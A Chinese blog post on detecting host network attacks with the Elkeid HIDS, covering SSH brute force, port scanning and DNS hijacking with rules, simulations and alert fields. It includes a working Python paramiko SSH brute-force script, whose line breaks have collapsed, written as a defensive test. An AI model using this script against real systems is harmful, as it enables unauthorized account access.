当前位置: 首页 > news >正文

主机安全-网络攻击监测

目录

  • 概述
  • 暴力破解(SSH爆破为例)
    • 原理
    • 规则
    • 攻击模拟
    • 告警
  • 端口扫描
    • 原理
    • 规则
    • 攻击模拟
    • 告警
  • 流量劫持
    • 原理
    • 规则
    • 攻击模拟
    • 告警
  • 参考


概述

本文介绍主机网络层面上的攻击场景,每种攻击场景举一个例子。监测方面以字节跳动的开源HIDS elkeid举例。

针对网络攻击,通常可以考虑从以下方面做规则

  • 来源ip:针对异常ip,有访问即告警。
  • 访问端口:针对高危端口,有访问即告警。
  • 访问频率:针对过多的访问,在一段时间内超过频率即告警。例如,对同一端口或多个端口。

暴力破解(SSH爆破为例)

原理

暴力破解指的是针对开放的端口,提供的服务需要凭据才能访问,但是没有对用户行为做频率的限制,存在弱口令时可能爆破成功。

规则

在这里插入图片描述
bruteforce_single_source_detect
这个是针对单一源ip做的告警
在这里插入图片描述
bruteforce_multi_source_detect
在这里插入图片描述
bruteforce_success_detect
暴力破解,通过密码登录成功
在这里插入图片描述

攻击模拟

import paramiko# 配置目标主机的IP地址和端口
TARGET_IP = '172.19.0.16'  # 替换为目标IP
TARGET_PORT = 22  # 替换为目标端口# 读取用户名和密码
def read_file(filename):with open(filename, 'r') as file:return [line.strip() for line in file]# 尝试SSH登录
def attempt_ssh_login(username, password):ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(TARGET_IP, port=TARGET_PORT, username=username, password=password)return Trueexcept paramiko.AuthenticationException:return Falseexcept Exception as e:print(f"Error connecting to {TARGET_IP}: {e}")return Falsefinally:ssh.close()def main():usernames = read_file('username.txt')passwords = read_file('password.txt')for username in usernames:for password in passwords:success = attempt_ssh_login(username, password)if success:print(f"Success: Username: {username}, Password: {password}")else:print(f"Failed: Username: {username}, Password: {password}")if __name__ == "__main__":main()

在这里插入图片描述

告警

在这里插入图片描述
在这里插入图片描述
给出了源ip,除了这个还可以考虑提供其他信息

  • 尝试次数
  • 失败次数
  • 成功次数
  • 成功用户
  • 登录的时间

端口扫描

原理

对多个端口发起网络探测,确定端口存活、协议等指纹信息。

规则

这里elkeid没有给出,根据原理可以类似ssh爆破,对同一个ip来源扫描多个端口或对单个端口以不同协议高频率扫描。

攻击模拟

使用nmap或masscan等端口扫描工具即可。

告警

告警推荐包含以下字段:

  • 源ip
  • 源端口
  • 扫描开始时间

流量劫持

原理

流量劫持是指在主机和第三方服务之间添加了恶意攻击者,常见DNS劫持、HTTP劫持、CDN劫持等。以DNS劫持为例,攻击者可能篡改了主机的DNS配置文件。

规则

编写规则时可以考虑检测配置文件,或者判断流量的特征。例如,DNS的配置文件为/etc/resolv.conf。DNS隧道攻击时,流量中会有大量的编码后的子域名请求特征。

攻击模拟

这个需要一个远程服务器,从github上也没看到fake dns server之类的,先留个坑。

告警

告警推荐包含以下字段:

  • 本地文件
  • 修改内容
  • 恶意服务器域名或ip

参考

流量劫持
DNS隧道攻击原理及常用攻击分析


http://www.mrgr.cn/news/7438.html

相关文章:

  • AI绘图:艺术与科技的未来交响
  • 使用密钥文件 SSH 登录服务器:Windows、macOS使用终端或连接工具
  • Linux开发:通过readlink读取软连接指向的文件
  • UnQLite:多语言支持的嵌入式NoSQL数据库深入解析
  • C++前向声明简介
  • 数据库系统 第23节 并发控制
  • 技术文档索引
  • MySQL连接类型
  • [数据集][目标检测]绳子检测数据集VOC+YOLO格式322张1类别
  • 01:【江科大stm32】:LED闪烁/LED流水灯/蜂鸣器
  • 【数据结构】栈(stack)
  • 【Oracle点滴积累】Oracle 19c安装Critical Patch Update for January 2023
  • SQL手工注入漏洞测试(PostgreSQL数据库)
  • 怎么利用住宅代理提高数据抓取效率
  • 算法-模型似然值计算
  • MapBox Android版开发 1 配置
  • 前端宝典九:React Native从入门到精通实战
  • TCP vs UDP:揭秘可靠性与效率之争
  • 【GNSS射频前端】MA2769初识
  • 5大分区管理器 - 最佳硬盘分区软件